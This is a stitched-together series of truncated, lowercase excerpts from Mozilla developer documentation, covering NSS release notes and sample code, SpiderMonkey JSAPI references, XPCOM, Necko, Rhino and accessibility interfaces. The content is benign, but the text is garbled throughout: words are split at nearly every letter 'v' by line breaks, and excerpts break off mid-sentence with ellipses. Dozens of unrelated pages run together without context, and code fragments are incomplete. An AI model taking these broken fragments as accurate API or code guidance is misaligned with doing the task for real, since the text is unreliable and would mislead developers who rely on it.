visa ecommerce root sha-256 fingerprint: 69fac9bd55fb0ac78d53bbee5cf1d597989fd0aaab20a25151bdf1733ee7d122 bugs fixed in nss 3.40 bug 1478698 - ffdhe key exchange sometimes fails with decryption failure this bugzilla query returns all the bugs fixed in nss 3.40: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.40 compatibility nss 3.40 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.44 release notes
introduction the nss team has released network security ser
vices (nss) 3.44 on 10 may 2019, which is a minor release.
... the nss team would like to recognize first-time contributors: ke
vin jacobs, da
vid carlier, alexander scheel, and edouard oger.
... bugs fixed in nss 3.44 1501542 - implement checkarmsupport for android 1531244 - use __builtin_bswap64 in crypto_primitives.h 1533216 - cert_decodecertpackage() crash with netscape certificate sequences 1533616 - sdb_getattributevaluenolock should make at most one sql query, rather than one for each attribute 1531236 - pro
vide accessor for certcertificate.dercert 1536734 - lib/freebl/crypto_primitives.c assumes a big endian machine 1532384 - in nss test certificates, use @example.com (not @bogus.com) 1538479 - post-handshake messages after async server authentication break when using record layer separation 1521578 - x25519 support in pk11pars.c 1540205 - freebl build fails with -dnss_disable_chachapoly 1532312...
NSS 3.46 release notes
introduction the nss team has released network security ser
vices (nss) 3.46 on 30 august 2019, which is a minor release.
... new in nss 3.46 this release contains no significant new functionality, but concentrates on pro
viding improved performance, stability, and security.
...493916 - fix ppc64 inline assembler for clang bug 1561588 - remove -wmaybe-uninitialized warning in p7env.c bug 1561548 - remove -wmaybe-uninitialized warning in pkix_pl_ldapdefaultclient.c bug 1512605 - incorrect alert description after unencrypted finished msg bug 1564715 - read /proc/cpuinfo when at_hwcap2 returns 0 bug 1532194 - remove or fix -ddebug_$user from make builds bug 1565577 -
visual studio's cl.exe -?
NSS 3.48 release notes
introduction the nss team has released network security ser
vices (nss) 3.48 on 5 december 2019, which is a minor release.
...because using an iteration count higher than 1 with the legacy dbm (key3.db) storage creates files that are incompatible with pre
vious versions of nss, applications that wish to enable it for key3.db are required to set en
vironment variable nss_allow_legacy_dbm_iteration_count=1.
... applications may set en
vironment variable nss_min_mp_pbe_iteration_count to request a higher iteration count than the library's default, or nss_max_mp_pbe_iteration_count to request a lower iteration count for test en
vironments.
NSS 3.52 release notes
introduction the nss team has released network security ser
vices (nss) 3.52 on 1 may 2020.
... bug 1618739 - don't assert fuzzer beha
vior in ssl_parsesessionticket.
... bug 1531906 - fix overzealous assertion when e
victing a cached sessionid or using external cache.
NSS Sample Code sample2
& iv */ unsigned char gkey[] = {0xe8, 0xa7, 0x7c, 0xe2, 0x05, 0x63, 0x6a, 0x31}; unsigned char giv[] = {0xe4, 0xbb, 0x3b, 0xd3, 0xc3, 0x71, 0x2e, 0x58}; int main(int argc, char **argv) { ck_mechanism_type ciphermech; pk11slotinfo* slot = null; pk11symkey* symkey = null; secitem* secparam = null; pk11context* enccontext = null; secitem keyitem, i
vitem; secstatus rv, rv1, rv2; unsigned char data[1024], buf1[1024], buf2[1024]; int i, result_len, tmp1_outlen, tmp2_outlen; /* initialize nss * if your application code has already initialized nss, you can skip it * here.
...for * des ops, internal slot is typically the best slot */ if (slot == null) { fprintf(stderr, "unable to find security de
vice (err %d)\n", pr_geterror()); goto out; } /* nss passes blobs around as secitems.
... * when not using cbc mode, i
vitem.data and i
vitem.len can be 0, or you * can simply pass null for the iv parameter in pk11_paramfromiv func */ i
vitem.type = sibuffer; i
vitem.data = giv; i
vitem.len = sizeof(giv); secparam = pk11_paramfromiv(ciphermech, &i
vitem); if (secparam == null) { fprintf(stderr, "failure to set up pkcs11 param (err %d)\n", pr_geterror()); goto out; } /* sample da...
NSS Sample Code sample4
the db password should be "test" and the cert * nickname should be "testca" * here is one way of doing it: * # create ca cert db, if -f not pro
vided, prompts for passwd * $ certutil -n -d .
... * # create ca cert, self-signed, generates key-pair, prompts for key * # type, cert type etc * # answers for prompts: 5,9,n,y,-1,n,5,6,7,9,n * $ certutil -s -s "cn=test ca, o=bogus inc, l=mtn
view, st=ca, c=us" \ * -n testca -t ctu,ctu,ctu -v 60 -x -d .
... * in a real app, this function should obtain the password using secure means * such as prompting an operator, or retrie
ving it over a secure communication * channel */ char *passwdcb(pk11slotinfo *info, prbool retry, void *arg); int main(int argc, char **argv) { secstatus rv; certcertificate *cert = null; seckeypublickey *pubkey = null; seckeyprivatekey *pvtkey = null; int modulus_len, i, outlen; char *buf1 = null; char *buf2 = null; /* init...
nss tech note7
to prevent denial-of-ser
vice attacks with huge public keys, nss disallows modulus size greater than 8192 bits.
...here is the asn.1 type definition: rsapublickey ::= sequence { modulus integer, -- n publicexponent integer -- e } the following sample code (error handling omitted for bre
vity) encodes a rsapublickey from a modulus and a public exponent and imports the public key into nss.
... functions rsa signing and encryption functions are pro
vided by two layers of nss function: the sgn_ and vfy_ functions in cryptohi.h, and the pk11_ functions in pk11pub.h.
NSS release notes template
draft (remove line when document is finished) introduction the nss team has released network security ser
vices (nss) 3.xx, which is a minor release.
... or network security ser
vices (nss) 3.xx.y is a patch release for nss 3.xx.
...for responsibly disclosing the issue by pro
viding advance copies of their research.
PKCS11 module installation
pkcs #11 modules are external modules which add to firefox support for smartcard readers, biometric security de
vices, and external certificate stores.
...choose "advanced" > "encryption" > "security de
vices" choose "load" enter a name for the security module, such as "my client database".
... pro
visioning pkcs #11 modules using the pkcs11 api starting with firefox 58, extensions can use the pkcs11 browser extension api to enumerate pkcs #11 modules and make them accessible to the browser as sources of keys and certificates.
NSS PKCS11 Functions
the module should have pre
viously been loaded by secmod_loadusermodule.
...until the secmod_closeuserdb function is called, the newly opened database will be
visible to any nss calls search for keys or certs.
...this implies that the callback has pre
viously returned the wrong password.
sslcrt.html
upgraded documentation may be found in the current nss reference certificate functions chapter 5 certificate functions this chapter describes the functions and related types used to work with a certificate database such as the cert7.db database pro
vided with communicator.
... description the cert_verifycertnow function must call one or more pk11 functions to obtain the ser
vices of a pkcs #11 module.
... description cert_getcertnicknames must call one or more pk11 functions to obtain the ser
vices of a pkcs #11 module.
NSS Tools
nss security tools newsgroup: mozilla.dev.tech.crypto over
view the nss security tools allow developers to test, debug, and manage applications that use nss.
... overall objectives pro
vide a tool for analyzing and repairing certificate databases (dbck).
...add modules and modify the properties of existing modules (such as whether a module is the default pro
vider of some crypto ser
vice).
NSS Tools certutil-tasks
most certutil errors pro
vide no detail.
... (bugfix) certificate entries require a serial number; one should be generated automatically if not pro
vided.
... (bugfix) listing certificate extensions has typos and does not pro
vide much information.
Necko walkthrough
nspipeinputstream::asyncwait sets the callback to be used later for a response if a target is specified (in this case, the main thread), callback is proxied
via an nsinputstreamreadyevent, which is created now and may be called later otherwise, the callback would be called directly, when the socket is readable et voila, the transaction has been posted to the socket thread, and the main thread continues on, unblocked from network io.
...once the socket is readable (more async beha
vior), nshttpconnection::oninputstreamready is called on the socket thread.
... note: this callback may be a proxy object, nsinputstreamreadyevent: it is a runnable that dispatches itself to a pre
viously set target thread, and calls its internal mcallback->oninputstreamready function.
Necko
necko is a network library that pro
vides a platform-independent api for several layers of networking, ranging from transport to presentation layers.
...eventually we'd like to move to a binary distribution mechanism for the networking library so that you can build your application that uses this library without ha
ving to build mozilla.
... browse our code in its latest state at netwerk/ documents a necko code walkthrough necko architecture necko multithreading necko faq necko interfaces over
view the necko http module proxies in necko pac files community
view mozilla forums...
Pork Tool Development
replacement for the "renamer" tool, a diff file is generated as the ast is traversed, using the
visitor pattern.
...cppsourceloc wraps sourceloc, pro
viding information about macro expansion.
... cppsourceloc will change the pre
viously pro
vided location information (in variable cpp_source_loc._loc) from post-location to pre-location.
Rhino scopes and contexts
before using rhino in a concurrent en
vironment, it is important to understand the distinction between contexts and scopes.
... contexts the rhino context object is used to store thread-specific information about the execution en
vironment.
...such beha
vior may not be suitable with shared scopes since if a script by mistake adds a property to a library object from the shared scope, that object would not be garbage collected until there are no active references to the shared scope potentially leading to memory leaks.
Rhino serialization
serialization pro
vides a way to save the state of an object and write it out to a file or send it across a network connection.
...if you are using rhino serialization in an en
vironment where you always define, say, a constructor foo, you should add the following code before calling writeobject: out.addexcludedname("foo"); out.addexcludedname("foo.prototype"); this code will prevent foo and foo.prototype from being serialized and will cause references to foo or foo.prototype to be resolved to the objects in the new scope upon deserialization.
... original document information author: norris boyd last updated date: november 15, 2006 copyright information: portions of this content are © 1998–2006 by indi
vidual mozilla.org contributors; content available under a creative commons license | details.
Shumway
there are a few situations where a user may use shumway to
view your content: their platform does not support adobe flash player.
... to emphasize a point: the current beha
vior is that shumway works on any swf file unless (or until) the adobe flash player plugin is activated.
...there are two places where shumway bugs are tracked: github (
via issues and pull requests) manages problems relating to shumway, itself.
Creating JavaScript jstest reftests
directory over
view in the js/src/tests directory, there are a few important subdirectories.
... writing a new test file please read the high level ad
vice for test writing in the parent article here.
... reportcompare reportcompare(expected, actual, description) is somewhat like asserteq(actual, expected, description) except that the first two arguments are swapped, failures are reported
via stdout rather than by throwing exceptions, and the matching is fuzzy in an unspecified way.
FOSS
wrappers / bindings c++ cocos2d-js - cocos2d-js is a cross-platform game engine which embeds spidermonkey, pro
viding the same api for both web and native platforms.
...designed to supplement existing embeddings, gpsee ships with a sample tri
vial embedding, a scripting host, and an augmented version of mozilla's js shell.
... http://javalikescript.free.fr/ - a general-purpose javascript platform that aims to pro
vide an extensible tooling framework http://www.synchro.net/ - a telnet/ssh bulletin board system (bbs) and internet server (http/smtp/ftp) with extra internet ser
vices written in javascript (irc, imap, gopher, and many more) https://github.com/mindbit/libjssql/wiki - a library that aims to pro
vide a generic sql api for javascript that is as similar as possible to jdbc miscellaneous serverjs, a standardization effort for the fragmented server-side javascript world 0 a.d., historical rts game with javascript scripting http://soubok.googlepages.com/javascript malzilla - tool for hunting ...
Future directions
and of course, the idea of the future is always evol
ving in time as things change and we learn more.
... for the near future, we do not intend to pro
vide a stable api, because too many things are changing.
... the public api is gradually mo
ving from jsapi.h and jsfriendapi.h into header files in js/public.
JS::CallArgs
this method must not be called when the function is being called as a constructor
via new.
... the value may or may not be an object: it is the indi
vidual function's responsibility to box the value if needed.
... bool isconstructing() const returns true if the function is called
via new.
JS::PersistentRooted
method description void init(jscontext* cx) initialize with optional initial value (if not pro
vided, it will be initialized with the initial value of the type).
...this applies not only to js objects (which ob
viously are managed by the gc) but also to c++ objects owned by js objects.
...persistentrooted<jsobject*> persistentrootedobject; typedef persistentrooted<jsscript*> persistentrootedscript; typedef persistentrooted<jsstring*> persistentrootedstring; typedef persistentrooted<js::symbol*> persistentrootedsymbol; // added in spidermonkey 38 typedef persistentrooted<value> persistentrootedvalue; } example following example allocates persistentrootedvalue, and pro
vides two functions for setting and getting it from javascript.
JSAutoByteString
*/ /* when lea
ving this scope, the string returned by js_encodestring is freed.
...*/ /* when lea
ving this scope, the string returned by js_encodestringtoutf8 is freed.
...*/ /* when lea
ving this scope, buff is freed.
JSClass.flags
js_setglobalobject sets an object which is sometimes used as the global object, as a last resort.) enable standard ecmascript beha
vior for setting the prototype of certain objects, such as function objects.
... if the global object does not have this flag, then scripts may cause nonstandard beha
vior by replacing standard constructors or prototypes (such as function.prototype.) objects that can end up with the wrong prototype object, if this flag is not present, include: arguments objects (ecma 262-3 §10.1.8 specifies "the original object prototype"), function objects (ecma 262-3 §13.2 specifies "the original function prototype"), and objects created by many standard constructors (ecma 262-3 §15.4.2.1 and others).
... jsclass_new_resolve_gets_start obsolete since jsapi 16 the resolve hook expects to receive the starting object in the prototype chain passed in
via the *objp in/out parameter.
JSConvertOp
other types may be passed as hints, but such beha
vior is deprecated.
... description jsconvertop callback specifies conversion beha
vior for objects ha
ving this class, implementing the ecmascript [[defaultvalue]] beha
vior for them.
... jsclass hooks jsclass offers the following hook: the jsclass.convert callback implements the [[defaultvalue]] beha
vior for objects ha
ving that class.
JSObjectOps.defaultValue
the default [[defaultvalue]] beha
vior for ordinary objects is as described in es5 §8.12.8.
...pro
vide a custom jsobjectops.defaultvalue callback to implement customized [[defaultvalue]] beha
vior.
... js_convertstub implements the default beha
vior for the jsclass.convert hook, which is to call obj.valueof() and obj.tostring() in accordance with the algorithm in es5 §8.12.8.
JS_CompileUCFunctionForPrincipalsVersion
this article covers features introduced in spidermonkey 1.8.5 please pro
vide a description for this function.
... obj jsobject * principals jsprincipals * name const char * nargs unsigned int argnames const char ** chars const jschar * length size_t filename const char * lineno unsigned int version jsversion description please pro
vide a description.
... see also please pro
vide a description.
JS_ConvertArguments
(if conversion creates a new gc thing, the corresponding jsval is written back to argv, which is rooted.) description js_convertarguments pro
vides a convenient way to translate a series of js values into their corresponding js types with a single function call.
... it saves you from ha
ving to write separate tests and elaborate if...else statements in your function code to retrieve and translate multiple js values for use with your own functions.
...a jsfunction represents only the compiled code and not the en
vironment of the function.
JS_LookupProperty
flags unsigned (only in js_lookuppropertywithflags) a combination of bits requesting special search beha
vior.
...these functions all have similar beha
vior: the search starts with obj and proceeds along the prototype chain.
...flags js_lookuppropertywithflags and js_lookuppropertywithflagsbyid allow the caller to specify flags requesting special lookup beha
vior.
JS_NewObject
the jsclass may be used to override low-level object beha
vior, including such details as the physical memory layout of the object and how property lookups are done.
... pre
vious beha
viour obsolete since jsapi 45 here's how the process works in detail: first, we must identify a global object.
... see also mxr id search for js_newobject mxr id search for js_newobjectwithgivenproto js_newglobalobject js_newarrayobject js_valuetoobject bug 408871 bug 1136906, bug 1136345 -- remove parent parameter bug 1125567 -- change prototype lookup beha
viour ...
JS_NextProperty
iterobj js::handleobject the opaque iterator object returned by a pre
vious call to js_newpropertyiterator.
...on success, *idp receives the name or index of the next property name; or jsid_void if there are no more enumerable properties to
visit.
... description on success, js_nextproperty returns true, with *idp containing the id of the next enumerable own property to
visit using iterobj, or jsid_void if there is no such property left to
visit.
JS_SetGCCallback
obsolete since jsapi 13 js_setgccallback returns a pointer to the pre
viously used callback function upon completion.
...some quirky beha
vior follows from this: the javascript engine can call the gc callback reentrantly on a single thread.
... in a js_threadsafe build, a jsgc_begin callback can happen on one thread before or while a jsgc_end callback for the pre
vious gc cycle runs on another thread.
JS_THREADSAFE
these callbacks are (unreliably!) documented with the words "pro
vides request", like this: name type description cx jscontext * the context in which the event ocurred.
... pro
vides request.
... in particular, jsnative callbacks pro
vide a request.
Thread Sanitizer
unlike other tools, it understands compiler-builtin atomics and synchronization and therefore pro
vides very accurate results with no real false positives.
...to use it, either make sure the llvm-symbolizer binary is in your path or set the en
vironment variable tsan_options="external_symbolizer_path=/path/to/llvm-symbolizer" before running the process.
... runtime suppressions to prevent races from showing up at runtime, tsan also pro
vides a runtime suppression list.
Zest usecase: Reporting Security Vulnerabilities to Developers
when security teams find vulnerabilities they typically describe them to developers using words, for example in a pdf or
via a bug tracker.
...in this case the sequence of events could be: the security team discovers a vulnerability using specialist security tools they use those tools to create a zest script which reproduces the problem they hand the script over to the developer the developer adjusts the script to match their local en
vironment they run the script and see the vulnerability they fix the vulnerability they rerun the script to check that the vulnerability is fixed the fix is applied to the system that the security team is testing the security team rerun the script as an initial check they then perform any manual testing they think is necessary note that the developers could also include the script in th...
... related links zest over
view ...
Browser security
these articles pro
vide important guides and references to ensuring the code you write is secure, including both design recommendations and testing guidelines.
...this article pro
vides an over
view of what these are and how they work.exploitable crashesthis article will help you determine if a crash is exploitable, find crashes which are exploitable, and to fix exploitable crashes.handling mozilla security bugsthis document describes how the new security organizational structure will work, and how security-related mozilla bug reports will be handled.pinning
violation reportsif a site makes use of key pinning, and your browser sees a certificate chain for that site which does not match the pin, firefox will reject the connection and display an error page.
... secure development guidelinesthe following content will likely see significant re
vision, though can be used as a reference for security best practices to follow when developing code for mozilla.security and the jar protocolthis article discusses security concerns with the jar: protocol, which only firefox has ever implemented for web content.
AT Development
this article (from 2007) re
views the progress and technology as it has developed.
... accessibility architecture how the accessibility hierarchy is implemented in mozilla (some issues aren't addressed by pre
vious guide).
... references at apis implementation references shows how gecko handles atk, iaccessible2, msaa and universal access api accessible web specifications references pro
vides the map of reflecting web specification to at apis.
Accessibility API Implementation Details
we pro
vide for them the support of these products on windows, linux/unix and os x platforms.at developmentthe accessibility of computer software has seen drastic improvements over the past two decades.
... this article (from 2007) re
views the progress and technology as it has developed.
... xforms accessibilitythis article pro
vides a quick guide to how accessibility is handled in gecko for xforms.xul accessibilitythis article shows how xul control elements are mapped to accessibility api.
DocShell
over
view of a uri load up though dispatch to a content handler.
... over
view of a uri load in general (more bird's-eye
view).
... over
view of how downloads work.
extIApplication
implemented
via xpcom ser
vice for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages.
... method over
view boolean quit() boolean restart() void getextensions(extiextensionscallback acallback) attributes the following interfaces are available to all applications: attribute type description id readonly attribute astring the id of the application.
...the object needs to be accessed like any other xpcom ser
vice: var application = components.classes["@mozilla.org/fuel/application;1"].getser
vice(components.interfaces.fueliapplication); see also fuel (firefox), steel (thunderbird) and smile (seamonkey) ...
extIPreferenceBranch
this content covers features introduced in thunderbird 3 the extipreferencebranch interface pro
vides simplified access to preferences.
... implemented
via xpcom ser
vice for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages.
... method over
view boolean has(in astring aname) extipreference get(in astring aname) nsivariant getvalue(in astring aname, in nsivariant adefaultvalue) void setvalue(in astring aname, in nsivariant avalue) void reset() attributes attribute type description root readonly attribute astring the name of the branch root.
Generating GUIDs
(this tool is also part of ms
visual c++) linux use /usr/bin/uuidgen.
... nsiuuidgenerator a uuid can be generated from pri
vileged mozilla code using nsiuuidgenerator.
... online tools http://mozilla.pettay.fi/cgi-bin/mozuuid.pl guidgen guidgen.exe, part of microsoft
visual studio, can generate uuids in this format.
Making cross-thread calls using runnables
in the mozilla platform, most acti
vities such as layout, dom operations, content javascript, and chrome javascript run on the main thread.
...typically, thread acti
vities are triggered and managed using an xpcom event-passing framework that uses the nsirunnable interface.
...(mcallback, result); ns_dispatchtomainthread(resultrunnable); } private: picallback mcallback; int mdigits; }; putting it all together to start a new thread, create it using the thread manager: #include "nsxpcomcidinternal.h" void calculatepiasynchronously(int digits, picallback callback) { // to create a new thread, get the thread manager nscomptr<nsithreadmanager> tm = do_getser
vice(ns_threadmanager_contractid); nscomptr<nsithread> mythread; nsresult rv = tm->newthread(0, 0, getter_addrefs(mythread)); if (ns_failed(rv)) { // in case of failure, call back immediately with an empty string which indicates failure callback(emptycstring()); return; } nscomptr<nsirunnable> r = new picalculatetask(callback, digits); mythread->dispatch(r, nsieventtarget::...
Components.Constructor
interfacename [, initializer ] ]); parameters contractid a string containing the contract id of the component interfacename if given, nsisupports.queryinterface() will be called on each newly-created instance with the interface named by this string initializer if given, a string containing the name of a function which will be called on the newly-created instance, using the arguments pro
vided to the created function when called description components.constructor() is a handy shortcut for creating instances of xpcom components.
...(this benefit is also partly a result of ha
ving to travel through the layer between the javascript engine and xpcom fewer times.) the beha
vior of functions returned by components.constructor() varies depending upon the arguments given to components.constructor() when called.
...sing components.constructor(); the latter is much easier to read than the former (particularly if you're creating instances of a component in many different places): var bis = components.classes["@mozilla.org/binaryinputstream;1"] .createinstance(components.interfaces.nsibinaryinputstream); bis.setinputstream(someinputstream); // assumes binaryinputstream was initialized pre
viously var bis = new binaryinputstream(someinputstream); components.constructor() is purely syntactic sugar (albeit speedy and pretty syntactic sugar) for actions that can be accomplished using other common methods.
Components.utils.import
if your code is meant to work on all platforms, you should always pro
vide a scope.
... example components.utils.import("resource://gre/modules/xpcomutils.jsm", this); difference from mozijssubscriptloader the differences from mozijssubscriptloader: the beha
vior when importing/loading the same code from different locations: the subscript loader evaluates the specified code each time it is invoked, with the caller's global object.
...2 = {}; components.utils.import("resource://gre/modules/json.jsm", scope1); components.utils.import("resource://gre/modules/json.jsm", scope2); assert(scope2.xpcomutils === scope1.xpcomutils); ...returns true, whereas: var someurl = "resource://gre/modules/json.jsm"; var obj1 = {}, obj2 = {}; var loader = components.classes["@mozilla.org/moz/jssubscript-loader;1"] .getser
vice(components.interfaces.mozijssubscriptloader); loader.loadsubscript(someurl, obj1); loader.loadsubscript(someurl, obj2); assert(obj2 === obj1); ...returns false.
Components.utils.isXrayWrapper
when pri
vileged javascript in gecko accesses objects belonging to less-pri
vileged code (such as untrusted web content), it does so, by default, with "xray
vision": a mechanism that filters out certain changes to the objects that could cause them to behave in unexpected ways.
... for example, pri
vileged code using an xray to a dom object sees only the original, native version of the dom object.
... any expando properties are not
visible, and if any native properties have been redefined, this has no effect.
Components.utils.reportError
however you should use nsiconsoleser
vice for logging, as it logs the messages with normal severity, unlike reporterror.
... function mydump(amessage) { var consoleser
vice = components.classes["@mozilla.org/consoleser
vice;1"] .getser
vice(components.interfaces.nsiconsoleser
vice); consoleser
vice.logstringmessage("my component: " + amessage); } firefox 3: the error console will not display chrome errors by default.
... to show them, set the preference 'javascript.options.showinconsole' to true, or use nsconsoleser
vice instead to show a message.
JavaXPCOM
documentation javaxpcom development how to get and build the source, as well as how to
view and report bugs.
...
view all...
... community
view mozilla embedding forums...
PyXPCOM
pyxpcom pro
vides access to these interfaces as python interfaces.
... pyxpcom also contains several classes that pro
vide access to functions for initializing and shutting down xpcom and gecko from python, as well as some xpcom helper functions.
... other resources pythonext - extension that pro
vides pyxpcom samples - demo applications using pyxpcom community python-xpcom bindings mailing list (activestate) #pyxpcom on irc.mozilla.org source code the pyxpcom code is available here: http://hg.mozilla.org/pyxpcom/ to build pyxpcom, see building pyxpcom.
nsIRegistry
var cc = components.classes; var ci = components.interfaces; var rc = cc["@mozilla.org/registry;1"]; var rs = rc.getser
vice(ci.nsiregistry); now you have the registry ser
vice.
...now, i know from
visual inspection that there's a key called "directory" for each profile.
... perhaps if we quit with the xpconnect:appshellser
vice, it will work.
HOWTO
put the following at the end of your script: // do async processing // from <https://developer.mozilla.org/en/xpconnect/xpcshell/howto> print("doing async work"); gscriptdone = false; var gthreadmanager = cc["@mozilla.org/thread-manager;1"] .getser
vice(ci.nsithreadmanager); var mainthread = gthreadmanager.currentthread; while (!gscriptdone) mainthread.processnextevent(true); while (mainthread.haspendingevents()) mainthread.processnextevent(true); 2.
..."component returned failure code: 0x80040111 (ns_error_not_available) [nsixpccomponents_utils.import]" nsresult: "0x80040111 (ns_error_not_available)" location: "js frame :: file.js :: <top_level> :: line 12" data: no] solution 1 var loader = components.classes["@mozilla.org/moz/jssubscript-loader;1"] .getser
vice(components.interfaces.mozijssubscriptloader); loader.loadsubscript("chrome://myall/content/file.jsm"); see: http://mxr.mozilla.org/comm-central/...figutils.js#54 solution 2 append the following at the top of your js file which you want to run in xpcshell { // <https://developer.mozilla.org/en/xpconnect/xpcshell/howto> // <https://bugzilla.mozilla.org/show_bug.cgi?id=546628> let cc = com...
...ponents.classes; let ci = components.interfaces; // register resource://app/ uri let ios = cc["@mozilla.org/network/io-ser
vice;1"] .getser
vice(ci.nsiioser
vice); let reshandler = ios.getprotocolhandler("resource") .queryinterface(ci.nsiresprotocolhandler); let mozdir = cc["@mozilla.org/file/directory_ser
vice;1"] .getser
vice(ci.nsiproperties) .get("curprocd", ci.nsilocalfile); let mozdiruri = ios.newfileuri(mozdir); reshandler.setsubstitution("app", mozdiruri); // register chrome://* uris let cr = cc["@mozilla.org/chrome/chrome-registry;1"] .getser
vice(ci.nsichromeregistry); cr.checkfornewchrome(); } bug 546628 would make this unnecessary.
NS_InitXPCOM2
#include "nsxpcom.h" nsresult ns_initxpcom2( nsiser
vicemanager** aresult, nsifile* abindirectory, nsidirectoryser
vicepro
vider* aappfilelocationpro
vider ); parameters aresult [out] the resulting xpcom ser
vice manager.
...the ser
vice manager may alternatively be accessed by calling ns_getser
vicemanager.
... aappfilelocationpro
vider [in] the object to be used by xpcom to locate application specific directories and files (e.g., the user profile, the component registry, etc.).
NS_InitXPCOM3
#include "nsxpcom.h" nsresult ns_initxpcom3( nsiser
vicemanager** aresult, nsifile* abindirectory, nsidirectoryser
vicepro
vider* aappfilelocationpro
vider, nsstaticmoduleinfo const* astaticmodules, pruint32 astaticmodulecount ); parameters aresult [out] the resulting xpcom ser
vice manager.
...the ser
vice manager may alternatively be accessed by calling ns_getser
vicemanager.
... aappfilelocationpro
vider [in] the object to be used by xpcom to locate application specific directories and files (e.g., the user profile, the component registry, etc.).
Core XPCOM functions
xpcom pro
vides a number of global functions which are used to initialize and shut down the xpcom library, as well as to allocate memory, get access to ser
vices, and to instantiate interfaces.
...ager.ns_freefrees a block of memory using the xpcom memory manager.ns_getcomponentmanagerthe ns_getcomponentmanager function returns a reference to the xpcom component manager.ns_getcomponentregistrarthe ns_getcomponentregistrar function returns a reference to the xpcom component registrar.ns_getmemorymanagerthe ns_getmemorymanager function returns a reference to the xpcom memory manager.ns_getser
vicemanagerthe ns_getser
vicemanager function returns a reference to the xpcom ser
vice manager.ns_initxpcom2the ns_initxpcom2 function initiates use of xpcom in the calling process.ns_initxpcom3the ns_initxpcom3 function initiates use of xpcom in the calling process with support for statically defined xpcom modules.
... ns_newlocalfilethe ns_newlocalfile function creates an instance of nsilocalfile that pro
vides a platform independent representation of a file path.ns_newnativelocalfilethe ns_newnativelocalfile function creates an instance of nsilocalfile that pro
vides a platform independent representation of a file path.ns_reallocreallocates a block of memory using the xpcom memory manager.ns_shutdownxpcomthe ns_shutdownxpcom function terminates use of xpcom in the calling process.nsresultthe nsresult data type is a strongly-typed enum used to represent a value returned by an xpcom function; these are typically error or status codes.
nsAdoptingCString
note that this class
violates constness in a few places.
...method over
view constructors operator= operator const char* operator[] get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequa...
... @param astring is substring to be sought in this @param aignorecase selects case sensiti
vity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
nsAdoptingString
note that this class
violates constness in a few places.
...method over
view constructors operator= operator const prunichar* operator[] get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliter...
... @param astring is substring to be sought in this @param aignorecase selects case sensiti
vity @param aoffset tells us where in this string to start searching @param acount tells us how far from the offset we are to search.
nsAutoRef
no copy constructor nor copy assignment operators are available, so the handle to the resource will be held until released on destruction of the nsautoref or until explicitly reset() or transferred through pro
vided methods.
... in order to use nsautoref<t> for a class t associated with a particular resource type, the type of the handle to the resource and the method for releasing the resource must be pro
vided for class t.
... this is usually done by pro
viding a specialization of nsautoreftraits<t>.
nsCountedRef
nscountedref differs from nsautoref in that nscountedref constructors add a reference to the resource, and in that nscountedref pro
vides copy construction< and assignment operators enabling more than one concurrent reference to the same resource.
... in order to use nscountedref<t> for a class t associated with a particular resource type, the type of the handle to the resource and the methods for referencing and releasing the resource must be pro
vided for class t.
... this is usually done by pro
viding a specialization of nsautoreftraits<t>.
nsMemory
« xpcom api reference summary the nsmemory class pro
vides static helper routines to manage memory.
... these routines allow easy access to xpcom's global nsimemory implementation without ha
ving to go through the ser
vice manager to get it.
... getglobalmemoryser
vice the getglobalmemoryser
vice function returns a reference to xpcom's global nsimemory object.
XPCOM glue classes
these "glue" classes are pro
vided to make it easier to use xpcom from c++ code.
...utf16tocstring functions.nsdependentcstringclass declarationnsdependentcstring externalclass declarationnsdependentcsubstringclass declarationnsdependentcsubstring externalclass declarationnsdependentstringclass declarationnsdependentstring externalclass declarationnsdependentsubstringclass declarationnsdependentsubstring externalclass declarationnsembedcstringthe nsembedcstring concrete class pro
vides a way to construct a nsacstring object that allocates null-terminated storage.nsembedstringthe nsembedstring concrete class pro
vides a way to construct a nsastring object that allocates null-terminated storage.nsfixedcstringclass declarationnsfixedstringclass declarationnsliteralcstring (external)class declarationnsliteralstring (external)class declarationnsmemorythe nsmemory class pro
vides st...
...these routines allow easy access to xpcom's global nsimemory implementation without ha
ving to go through the ser
vice manager to get it.nspromiseflatcstringclass declarationnspromiseflatstringclass declarationnsrefptrrefptr (formerly known as nsrefptr, see bug 1207245) is a general class to implement reference counting pointers for objects.
IAccessibleApplication
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) this interface pro
vides the at with the information it needs to differentiate this application from other applications, from other versions of this application, or from other versions of this application running on different versions of an accessibility bridge or accessibility toolkit.
... servers implementing iaccessible2 should pro
vide access to the iaccessibleapplication interface
via queryser
vice from any object so that ats can easily determine specific information about the application such as its name or version.
... method over
view [propget] hresult appname([out] bstr name ); [propget] hresult appversion([out] bstr version ); [propget] hresult toolkitname([out] bstr name ); [propget] hresult toolkitversion([out] bstr version ); methods appname() returns the application name.
IAccessibleHyperlink
this interface pro
vides access to a single object which can have multiple actions.
...method over
view [propget] hresult anchor([in] long index, [out] variant anchor ); [propget] hresult anchortarget([in] long index, [out] variant anchortarget ); [propget] hresult endindex([out] long index ); [propget] hresult startindex([out] long index ); [propget] hresult valid([out] boolean valid ); methods anchor() returns an object that represents the link anchor, as appropriate for the link ...
...for example, for a text link this method could return the substring of the containing string where the substring is overridden with link beha
vior, and for an image link this method could return an iunknown variant for iaccessibleimage.
IAccessibleImage
some examples are: the accessible name and description() are not enough to fully describe the image, for example when the accessible description() is used to define the beha
vior of an actionable image and the image itself conveys semantically significant information.
... the user can edit the content that includes an image and therefore the user needs to be able to re
